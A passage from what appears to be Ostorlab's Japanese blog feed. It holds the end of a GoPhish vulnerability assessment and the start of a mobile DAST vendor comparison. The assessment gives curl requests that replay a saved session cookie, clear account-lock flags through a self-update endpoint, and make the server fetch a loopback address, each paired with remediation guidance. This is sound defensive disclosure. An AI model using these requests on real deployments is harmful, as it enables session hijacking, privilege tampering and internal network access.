&lt;p&gt;たとえば、保存したローカルのCookieは次のように再送できます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-ksS&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$GOPHISH_URL&lt;/span&gt;&lt;span class="s2"&gt;/"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Cookie: gophish=replace-with-a-saved-lab-cookie'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;修復&lt;/strong&gt;：ステートレスなCookieのみの設計を、サーバー側セッション、またはリクエストごとにチェックされるユーザー単位のセッションバージョンに置き換えます。ログアウト、パスワードリセット、アカウントロック、ロール変更、オフボーディングの際に、セッションとAPIキーを失効またはローテーションします。セッションとAPIキーの両方のミドルウェアで、&lt;code&gt;AccountLocked&lt;/code&gt;と&lt;code&gt;PasswordChangeRequired&lt;/code&gt;を強制します。現在のブラウザーのCookieをクリアするだけでは、コピーされたステートレスなCookieを失効させることはできません。また、サービスを再起動するとCookieの署名は無効になりますが、データベースに保存されたAPIキーはローテーションされません。&lt;/p&gt;
&lt;h3 id="7. アカウント制御フィールドのセルフサービスによる変更"&gt;7. アカウント制御フィールドのセルフサービスによる変更&lt;/h3&gt;
&lt;p&gt;ローカルの通常ユーザーとして、現在のユーザー名とロールを指定しつつ、管理用のポリシーフィールドをクリアしてセルフ更新エンドポイントを呼び出します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-ksS&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;PUT&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$GOPHISH_URL&lt;/span&gt;&lt;span class="s2"&gt;/api/users/2"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$USER_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{&lt;/span&gt;
&lt;span class="s1"&gt;    "username": "lab-user",&lt;/span&gt;
&lt;span class="s1"&gt;    "role": "user",&lt;/span&gt;
&lt;span class="s1"&gt;    "password_change_required": false,&lt;/span&gt;
&lt;span class="s1"&gt;    "account_locked": false&lt;/span&gt;
&lt;span class="s1"&gt;  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ラボ用に作成した合成ユーザーのID、ユーザー名、ロールを使用してください。まず管理者に両方のフィールドを&lt;code&gt;true&lt;/code&gt;に設定してもらい、その後セルフ更新を行ってから、レスポンスと保存されたアカウントの状態を検証します。脆弱な場合の結果は、システムレベルの権限なしに両方のフラグが&lt;code&gt;false&lt;/code&gt;になることです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;修復&lt;/strong&gt;：セルフサービスのプロファイル変更と管理用のアカウント管理に、別々のリクエスト型を使います。少なくとも、ロール変更ですでに使われているのと同じ&lt;code&gt;hasSystem&lt;/code&gt;権限チェックの背後に、両方の代入を置きます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hasSystem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;existingUser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PasswordChangeRequired&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PasswordChangeRequired&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;existingUser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;AccountLocked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ur&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;AccountLocked&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;長期的により良い設計は、これらのフィールドをセルフサービスのリクエスト型から完全に除外することです。アカウントの状態、認証情報のポリシー、ロールに関するすべてのフィールドについてネガティブテストを追加し、永続化された値が変更されないままであることを検証します。&lt;/p&gt;
&lt;h3 id="8. import siteがデフォルトでプライベートな宛先に到達する"&gt;8. Import Siteがデフォルトでプライベートな宛先に到達する&lt;/h3&gt;
&lt;p&gt;ローカルマシンで使い捨てのHTTPサーバーを実行し、ローカルのGoPhishインスタンスにそれをインポートさせます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;http.server&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8080&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--bind&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;127&lt;/span&gt;.0.0.1

curl&lt;span class="w"&gt; &lt;/span&gt;-ksS&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$GOPHISH_URL&lt;/span&gt;&lt;span class="s2"&gt;/api/import/site"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$USER_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{&lt;/span&gt;
&lt;span class="s1"&gt;    "url": "http://127.0.0.1:8080/",&lt;/span&gt;
&lt;span class="s1"&gt;    "include_resources": false&lt;/span&gt;
&lt;span class="s1"&gt;  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;脆弱なデフォルトの挙動は、&lt;code&gt;html&lt;/code&gt;フィールドにローカルサーバーのページが含まれた成功レスポンスです。同じラボで、RFC1918アドレス上のリスナー、リンクローカルのメタデータ範囲、リダイレクト、IPv6アドレスを比較することもできます。要点は特定の内部サービスではありません。呼び出し元のブラウザーではなく、サーバーが接続を行うという点です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;修復&lt;/strong&gt;：デフォルトで包括的な非公開の拒否リストから始め、設定された内部ホストは範囲を狭く限定した例外として扱います。&lt;code&gt;http&lt;/code&gt;と&lt;code&gt;https&lt;/code&gt;のスキームを検証し、生のダイヤルエラーではなく汎用的な取得エラーを返し、TLS証明書の検証を復活させ、リダイレクトを無効にするか、すべてのリダイレクトで宛先の検証を再適用します。Import Siteを適切な権限を持つユーザーに限定し、ネットワーク層で外向きのエグレスポリシーを強制します。テストでは、公開ホスト、ループバック、RFC1918、リンクローカル、マルチキャスト、予約済み、IPv6、リダイレクト、接続間のDNSの変化をカバーしなければなりません。&lt;/p&gt;
&lt;h2 id="実装志向の修復チェックリスト"&gt;実装志向の修復チェックリスト&lt;/h2&gt;
&lt;p&gt;8件の検出結果には、少数の永続的な実装上の変更が共通しています。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;検出結果&lt;/th&gt;
&lt;th style="text-align: left;"&gt;コードと設定の変更&lt;/th&gt;
&lt;th style="text-align: left;"&gt;必要なリグレッションのエビデンス&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;レート制限&lt;/td&gt;
&lt;td style="text-align: left;"&gt;設定されたプロキシのCIDRからの転送ヘッダーのみを信頼し、それ以外では除去する。エッジでもレート制限を行う。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;想定されたイングレスを通じて、偽装したヘッダーで新しいバケットを作れない。管理画面への直接アクセスは利用できないか、ヘッダーを無視する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;タイミング&lt;/td&gt;
&lt;td style="text-align: left;"&gt;未知のユーザーに対して固定のダミーハッシュによる比較を行い、共通のレスポンス下限時間を適用する。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;両方の経路でbcryptが呼び出される。ベンチマークの分布、ステータス、ボディ、リダイレクトが同等である。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;受信者のXSS&lt;/td&gt;
&lt;td style="text-align: left;"&gt;HTML、テキスト、URL、ヘッダー、添付ファイルのテンプレートレンダリングをコンテキストごとに分割し、受信者データをHTMLで自動エスケープする。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;すべての受信者フィールドが、すべてのHTMLコンテキストでテキストとしてレンダリングされる。システムのトラッカーのマークアップは、明示的な信頼済みの型を通じてのみ引き続き機能する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;SMTPのXSS&lt;/td&gt;
&lt;td style="text-align: left;"&gt;すべてのAPIエラーとSMTPエラーに、テキストのみのDOM挿入を使う。ブラウザーのグローバル変数にあるAPIキーを取り除く。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;モックした格納型および反射型のSMTPエラーが、DOM要素やイベントハンドラーを作らない。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;作成時のアップサート&lt;/td&gt;
&lt;td style="text-align: left;"&gt;POSTハンドラーでIDを拒否し、作成には&lt;code&gt;Create&lt;/code&gt;を使う。すべての書き込みを所有者でスコープする。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2人目のユーザーが、POSTでオブジェクトの所有者、コンテンツ、グループの関連付けを変更できない。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;認証情報のライフサイクル&lt;/td&gt;
&lt;td style="text-align: left;"&gt;サーバー側またはバージョン管理されたセッションを使う。セキュリティイベント時にセッションとAPIキーを失効させる。すべての境界でアカウントの状態をチェックする。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ログアウト、パスワード変更、ロック、リセット、ロール変更、オフボーディングで、古いCookieと古いAPIキーの両方が拒否される。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;アカウントフィールド&lt;/td&gt;
&lt;td style="text-align: left;"&gt;セルフサービス用と管理用で別々のDTOを使う。ポリシーフィールドの変更はシステムユーザーにのみ許可する。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;システム権限のないユーザーが、ロック状態、強制変更の状態、ロールを変更できない。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Import Site&lt;/td&gt;
&lt;td style="text-align: left;"&gt;非公開の宛先をデフォルトで拒否する。例外を最小限にする。スキーム、TLS、リダイレクト、エグレスを検証する。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;デフォルト設定で、すべての非公開のテストターゲットが拒否され、生のネットワークエラーが露出しない。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="検出結果は単独よりも組み合わさったときのほうが危険である"&gt;検出結果は単独よりも組み合わさったときのほうが危険である&lt;/h2&gt;
&lt;p&gt;セキュリティレビューでは、脆弱性をスプレッドシート上の独立した行として示すことがよくあります。しかし、実際の環境はそのようには振る舞いません。ここで最も意味のあるリスクは、ある弱い境界が別の境界の価値をどのように高め得るかという点にあります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SMTP配信の失敗を調査している管理者が、強力なキャンペーン操作やAPI操作を公開している同じコンソールで、ブラウザー側のXSSシンクに遭遇し得る。&lt;/li&gt;
&lt;li&gt;アカウントロックやパスワード変更の状態がAPIミドルウェアを一貫して制約しない場合、長期間有効なAPI認証情報の影響はより大きくなる。&lt;/li&gt;
&lt;li&gt;ターゲットリスト、ランディングページ、メールプロファイルをユーザーが所有する運用オブジェクトとして保存するプラットフォームでは、リソースの乗っ取りはより大きな損害をもたらす。&lt;/li&gt;
&lt;li&gt;デフォルトのネットワーク制限が弱いインポート機能は、別の箇所で権限が制限されているはずの認証済みユーザーから到達可能かもしれない。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらは、単一の自動的なエクスプロイトチェーンが存在するという主張ではありません。修復を協調して進めなければならない理由です。認証情報のライフサイクルを曖昧なままにしてレンダラーだけを修正したり、永続化のパターンを残したまま一つのPOSTエンドポイントだけを修正したりすれば、症状は軽減されても信頼モデルは回復しません。&lt;/p&gt;
&lt;h2 id="実践的な修復プログラム"&gt;実践的な修復プログラム&lt;/h2&gt;
&lt;p&gt;綿密なレビューの後に勢いを失う最も手っ取り早い方法は、共通の受け入れ基準を持たない8件のチケットを作ることです。ここでのコードパスは、より効果的な作業の順序を示唆しています。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;フェーズ&lt;/th&gt;
&lt;th style="text-align: left;"&gt;目的&lt;/th&gt;
&lt;th style="text-align: left;"&gt;具体的なエンジニアリング上の成果&lt;/th&gt;
&lt;th style="text-align: left;"&gt;完了のエビデンス&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;封じ込め&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ユーザー間および管理者ブラウザーに対する最も直接的なリスクを取り除く&lt;/td&gt;
&lt;td style="text-align: left;"&gt;DOMシンクですべてのSMTP/APIエラーをエンコードする。作成操作を挿入に限定する。POSTでクライアント所有のIDを拒否する&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ブラウザーテストでエラーがテキストとしてレンダリングされることを実証し、2ユーザーの永続化テストで所有権が変更されないことを実証する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;アイデンティティの整合&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ログイン、セッション、アカウントの状態、APIキーに一貫した一つの意味を持たせる&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ダミーハッシュによる認証経路。サーバー側セッションまたはセッションバージョンによる失効。APIミドルウェアでのアカウント状態の強制。ユーザー更新におけるフィールドレベルの認可&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ログアウト、リセット、ロック、ロール変更のテストで、UIとAPIの両方の認証情報が失効または拒否される。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;境界の強化&lt;/td&gt;
&lt;td style="text-align: left;"&gt;デプロイメントと外向きのネットワークの挙動を意図された設計と一致させる&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エッジでの信頼済みプロキシのポリシー。管理画面の直接公開の排除。デフォルト拒否のネットワークダイヤラー。エグレス制御&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合テストで、転送ヘッダー、プライベートIP範囲、リダイレクト、DNSの挙動をカバーする。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;再発防止&lt;/td&gt;
&lt;td style="text-align: left;"&gt;教訓をセキュア開発の制御に変える&lt;/td&gt;
&lt;td style="text-align: left;"&gt;DTOの許可リスト、作成と更新の分離、シンクを中心とした出力エンコーディングのルール、外向きクライアントのレビューチェック&lt;/td&gt;
&lt;td style="text-align: left;"&gt;新しいエンドポイントやレンダラーがポリシーを迂回した場合、CIで拒否される。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;目的は、GoPhishを一度に再設計することではありません。将来の機能を構造的により安全にする、少数の不変条件を回復することです。すなわち、クライアントのアイデンティティを主張するのは信頼できるインフラだけであること、所有権を変更するのは認可された経路だけであること、テキストのシンクに届くのはテキストだけであること、無効化されたアカウントはどこでも無効であること、そしてサーバーサイドの取得は許可ではなく拒否から始まること、です。&lt;/p&gt;
&lt;h2 id="結び:行だけでなく境界を修正する"&gt;結び：行だけでなく境界を修正する&lt;/h2&gt;
&lt;p&gt;これらの検出結果に共通しているのは、単一の危険な関数ではありません。強制されるのではなく前提とされていた境界です。アイデンティティとして信頼されたプロキシヘッダー、HTMLとして扱われたエラー、作成の意図として扱われたID、アカウントの状態として扱われたベアラーキー、そしてデフォルト拒否のポリシーを有効にするために使われた許可リストのオプションです。それぞれの行は小さなものです。アプリケーションが前提としていることと攻撃者が制御できることとの間のギャップにこそ、本当のリスクがあります。&lt;/p&gt;
&lt;p&gt;メンテナーにとって、実践的な順序は明確です。まず管理パネルのXSSとユーザー間のリソース乗っ取りを封じ込め、次にAPIの認可と認証情報の失効を一貫させ、最後にアプリケーション層とデプロイメント層の両方でログインと外向きリクエストの制御を強化します。セキュリティチームにとって、この評価は、Ostorlab Agentic Deep Scanによるソースコード解析が、開発チームが行動に移せるレポートを生み出せることを示しています。&lt;/p&gt;
&lt;h2 id="cveのステータス"&gt;CVEのステータス&lt;/h2&gt;
&lt;p&gt;本記事では、8件の検出結果のいずれもCVEと関連付けていません。CVE識別子のリクエストは現在審査中です。識別子が割り当てられた場合、確定した割り当ては別途お知らせします。それまでは、上記の検出結果のタイトルとGoPhish最新版における影響を受けるコンポーネントが、本評価の正式な参照情報となります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価の参照情報&lt;/strong&gt;：最終更新日は2026-07-22です。本評価は、付属のデフォルト設定を使用した&lt;a href="https://github.com/gophish/gophish/releases/latest"&gt;GoPhish最新版&lt;/a&gt;を対象としています。検出結果を当てはめる前に、自社のデプロイメントがこのリリースと一致していることを確認してください。&lt;/p&gt;
&lt;h2 id="参考文献"&gt;参考文献&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/gophish/gophish/releases/latest"&gt;GoPhish最新版&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/gophish/gophish/blob/master/SECURITY.md"&gt;GoPhishのセキュリティポリシー&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pkg.go.dev/html/template"&gt;Goの&lt;code&gt;html/template&lt;/code&gt;パッケージ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gorm.io/docs/update.html#Save-All-Fields"&gt;GORMの&lt;code&gt;Save&lt;/code&gt;のドキュメント&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html"&gt;OWASP Server-Side Request Forgery Prevention Cheat Sheet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Security"/><category term="Security"/><category term="GoPhish"/><category term="Source Code Review"/><category term="Agentic Deep Scan"/><category term="Ostorlab"/><category term="Application Security"/><category term="XSS"/><category term="SSRF"/><category term="Broken Access Control"/></entry><entry><title>Ostorlab vs Quokka Q-mast：モバイルDASTの比較</title><link href="https://blog.ostorlab.co/ja/ostorlab-vs-quokka-q-mast.html" rel="alternate"/><published>2026-07-15T18:00:00+02:00</published><updated>2026-10-02T18:00:00+02:00</updated><author><name>Bilal HARRAS</name></author><id>tag:blog.ostorlab.co,2026-07-15:/ja/ostorlab-vs-quokka-q-mast.html</id><summary type="html">&lt;p&gt;モバイルDASTにおけるOstorlabとQuokka Q-mastの比較：認証済みフロー、TLSピンニングのバイパス、PCAPによるエビデンス、地域限定アプリ、APIスキャン、Agentic Deep Scan。&lt;/p&gt;</summary><content type="html">&lt;p&gt;現代のモバイル開発における厳しい現実に向き合いましょう。チームがリリースするアプリは、もはや自己完結したクライアントサイドのバイナリではありません。クラウドアーキテクチャ、マイクロサービス、複雑なバックエンドAPIへとつながる、動的で高速なゲートウェイです。&lt;/p&gt;
&lt;p&gt;DevSecOpsチームにとって、この進化は従来のセキュリティテストを機能不全に陥らせます。静的解析のみのスキャナーや硬直的なブラックボックス型の動的ツールでは、現実世界でアプリがどのように動作するかにとても追いつけません。現実の脆弱性が、孤立したアプリパッケージの中で静かに眠っていることはまれです。それらはライブ実行中に発動し、アプリのUI、ローカルのオペレーティングシステム、バックエンドサーバーの間の複雑なやり取りの中に潜んでいます。&lt;/p&gt;
&lt;p&gt;エンジニアリングチームがモバイルアプリケーションセキュリティテスト（MAST）ツールを評価しているなら、候補はおそらく&lt;strong&gt;Ostorlab&lt;/strong&gt;と&lt;strong&gt;Quokka Q-mast&lt;/strong&gt;（旧Kryptowire）に絞られているでしょう。どちらのツールも生のソースコードへのアクセスを必要とせずに動的解析を提供しますが、その設計思想はまったく異なります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Quokka Q-mast&lt;/strong&gt;は、自動化された&lt;a href="https://ostorlab.co/product/sbom" rel="noopener noreferrer" target="_blank"&gt;ソフトウェア部品表（SBOM）&lt;/a&gt;の生成、静的なバイナリチェック、そしてNIAPやNISTのような厳格な連邦政府のコンプライアンス標準へのチェックリストのマッピングに大きく力を入れています。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;は、高速なソフトウェアパイプライン向けに特化して設計された&lt;strong&gt;&lt;a href="https://ostorlab.co/product/mobile" target="_blank"&gt;フルスタックのMobile DAST&lt;/a&gt;&lt;/strong&gt;を提供します。実行時のセキュリティ障壁をバイパスし、複雑な認証をネイティブに処理し、開発者の作業を遅らせることなくバックエンドAPIのトラフィックを検査できるよう、ゼロから設計されています。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;基盤となるDASTに加えて、Ostorlabはオプションのモジュールとして&lt;strong&gt;&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan" target="_blank"&gt;Agentic Deep Scan&lt;/a&gt;&lt;/strong&gt;を導入しています。これは、オンデマンドで動く人間のハッカーのように振る舞う自律型のAIペンテスターと考えてください。ユーザーフローをまたいで論理的なエクスプロイトを連鎖させ、開発者のコード修正が実際に機能したかを自動的に検証します。&lt;/p&gt;
&lt;h2 id="この比較について"&gt;この比較について&lt;/h2&gt;
&lt;p&gt;この比較は、ここで比較しているOstorlabプラットフォームを開発・販売しているOstorlabが公開しています。Quokka Q-mastに関する記述は、Quokkaの公開Webサイトとドキュメント、主に&lt;a href="https://www.quokka.io/products/q-mast"&gt;Q-mastの製品ページ&lt;/a&gt;に基づいています。Ostorlabに関する記述は、Ostorlab自身の製品ドキュメントに基づいています。その他のベンダーに関する情報は、2026年7月15日時点の各社の公開Webサイトとドキュメントを反映したものです。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2026年10月2日更新：アプリの取得に関する行を修正しました。Quokka Q-mastは本番アプリをアプリストアから直接テストします（&lt;a href="https://www.quokka.io/products/q-mast"&gt;Q-mast&lt;/a&gt;）。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価基準&lt;/strong&gt;：セットアップとフローのカスタマイズ、グローバルなアプリの取得、TLSと難読化への対応、認証への対応、プライバシーとコンプライアンス、実行時のエビデンスと可視性、フレームワークとの互換性、エージェント型のアドオンテスト、修復ワークフロー、バックエンドAPIのカバレッジ。&lt;/p&gt;
&lt;h2 id="結論:機能とアーキテクチャの比較マトリクス"&gt;&lt;strong&gt;結論：機能とアーキテクチャの比較マトリクス&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;これらのツールの違いを手短に知りたい場合は、このマトリクスで、OstorlabのベースとなるMobile DASTがQuokka Q-mastを上回る点と、Ostorlabのエージェント型機能を追加することで得られるものを確認できます。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;技術的な評価基準&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ostorlab Mobile DAST&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Quokka Q-mast DAST&lt;/th&gt;
&lt;th style="text-align: left;"&gt;DevSecOpsにとって重要な理由&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;セットアップとフローのカスタマイズ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;プロンプトベースのカスタマイズ&lt;/strong&gt;：プレーンテキストのプロンプトでテストを誘導。数分でCI/CDに組み込める。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;手動での設定、事前定義された実行パス、またはカスタムスクリプトが必要。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;壊れやすいUIテストスクリプトの作成と保守に費やす時間をなくす。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;グローバルなアプリの取得&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;地域限定アプリの検索&lt;/strong&gt;：App StoreまたはPlay Storeを国別にネイティブに検索。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;「App Watch List」によって本番アプリを&lt;a href="https://www.quokka.io/products/q-mast"&gt;アプリストアから直接&lt;/a&gt;テストする。公開ページでは国の選択機能は確認できなかった。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;地域のユーザーが実際にダウンロードするバージョンをテストできる。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;TLSと難読化への対応&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;自動バイパス&lt;/strong&gt;：TLSピンニングとコードの難読化をネイティブにバイパスし、詳細な検査を実施。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;実行時の保護や独自の暗号化によってブロックされたり、見えなくなったりすることが多い。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;暗号化されたネットワークトラフィックを完全に検査できるようにし、検出漏れ（フォールスネガティブ）を防ぐ。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;認証への対応&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;高度な認証サポート&lt;/strong&gt;：複雑なログインフローを通じて、認証済みセッションをネイティブに維持。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アクティブなセッションを維持するのに苦労したり、保守負荷の高いスクリプトが必要になったりすることが多い。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ゲートされたユーザージャーニー、ユーザープロファイル、内部機能が確実にテストされる。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;プライバシーとコンプライアンス&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Deep Privacy Scan&lt;/strong&gt;：データ収集とプライバシーへの影響に関する詳細なインサイト。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;基本的なプライバシーチェック。多くの場合、静的なSBOMデータに紐づく。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;データがどのように収集されるかを正確に追跡し、チームがプライバシー規制を遵守できるよう支援する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
